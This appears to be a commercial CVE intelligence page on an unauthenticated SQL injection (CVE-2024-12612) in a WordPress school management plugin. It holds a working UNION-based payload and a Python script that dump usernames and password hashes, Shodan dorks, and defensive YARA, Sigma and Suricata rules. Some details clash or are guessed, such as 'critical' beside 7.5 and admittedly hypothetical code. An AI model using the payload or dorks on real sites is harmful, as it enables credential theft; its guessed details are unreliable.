☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12612

CVE-2024-12612 SQL Injection in School management system for wordpress
📅 PUBLISHED: 2025-08-16 03:38 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12612 is a critical unauthenticated SQL Injection vulnerability in the School Management System for WordPress plugin (versions up to and including 93.2.0). The flaw exists across multiple AJAX actions where user-supplied parameters are not properly escaped, and the SQL queries lack sufficient preparation. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other private data.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. The CVSS score of 7.5 (High) reflects the ease of exploitation and the potential for significant data breach. As a WordPress plugin issue, the attack surface is broad, affecting any site using the vulnerable plugin version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of unauthenticated access, low complexity, and high confidentiality impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX handlers, which are registered for both authenticated and unauthenticated users. The plugin fails to use parameterized queries or prepared statements when building SQL queries from user-supplied input. Specifically, parameters such as student_id, class_id, and teacher_id are directly concatenated into SQL strings without proper sanitization.

For example, an AJAX action like wp_ajax_nopriv_get_student_details might execute a query similar to:

SELECT * FROM wp_students WHERE id = $_POST['student_id']

An attacker can inject a UNION-based SQL payload to retrieve data from other tables, such as wp_users.

The lack of prepare() or esc_sql() in the WordPress context allows the injection to succeed. The plugin's code likely uses $wpdb->query("SELECT ... WHERE id = " . $_POST['param']) instead of $wpdb->prepare("SELECT ... WHERE id = %d", $_POST['param']).

Vulnerable vs. Patched Code

Vulnerable Code (<= 93.2.0):

// In some AJAX handler
$student_id = $_POST['student_id'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}students WHERE id = $student_id");

Patched Code (Hypothetical):

$student_id = intval($_POST['student_id']);
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}students WHERE id = %d", $student_id));

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is described. An attacker would craft a POST request to the vulnerable AJAX endpoint.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=get_student_details&student_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--

Lab Setup:

  1. Install WordPress with the School Management System plugin version 93.2.0.
  2. Use a tool like Burp Suite or curl to send crafted requests.
  3. Observe the response for extracted data.

Automation Script (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = "1 UNION SELECT user_login,user_pass,user_email FROM wp_users--"
data = {"action": "get_student_details", "student_id": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php with parameters containing SQL keywords (UNION, SELECT, FROM, etc.).
  • Look for anomalies in database query logs, such as unexpected UNION statements.

Defense:

  • Immediately disable or remove the plugin if no patch is available.
  • Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
  • Use a WordPress security plugin that monitors file integrity and blocks malicious requests.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-admin/admin-ajax.php with action parameters like get_student_details, get_class_info, etc., containing SQL injection patterns.
    • HTTP responses containing unexpected database output (e.g., hashed passwords, email addresses).
  • File IOCs:

    • Modified plugin files (e.g., school-management-system/includes/ajax-handlers.php) containing backdoors or altered SQL queries.
  • Database IOCs:

    • Unusual entries in the wp_options table or new admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2024_12612_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts against School Management System plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-12612"
    strings:
        $s1 = "UNION" nocase
        $s2 = "SELECT" nocase
        $s3 = "FROM" nocase
        $s4 = "admin-ajax.php" nocase
        $s5 = "student_id" nocase
        $s6 = "class_id" nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against School Management System Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to WordPress admin-ajax.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=get_student_details'
            - 'student_id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'FROM'
        - '1=1'
    condition: selection and 1 of keywords
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-12612 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_student_details"; http_client_body; pcre:"/(UNION|SELECT|FROM|1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations. Navigate to WordPress Admin > Plugins and deactivate "School Management System for WordPress".
  2. Apply a virtual patch using a WAF to block SQL injection patterns targeting the plugin's AJAX endpoints.
  3. Monitor logs for any signs of exploitation and rotate all user passwords if compromise is suspected.

Long-term Fix:

  • The vendor must release a patched version that uses prepared statements. Until then, consider migrating to an alternative plugin.
  • Implement a Content Security Policy (CSP) and enforce strict input validation on all user-supplied data.

Valters IT Signature:

This report was generated by Valters IT Cyber Threat Intelligence.
For questions, contact: threat-intel@valters-it.com
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"School Management System"
http.html:"wp-content/plugins/school-management-system"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12612/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.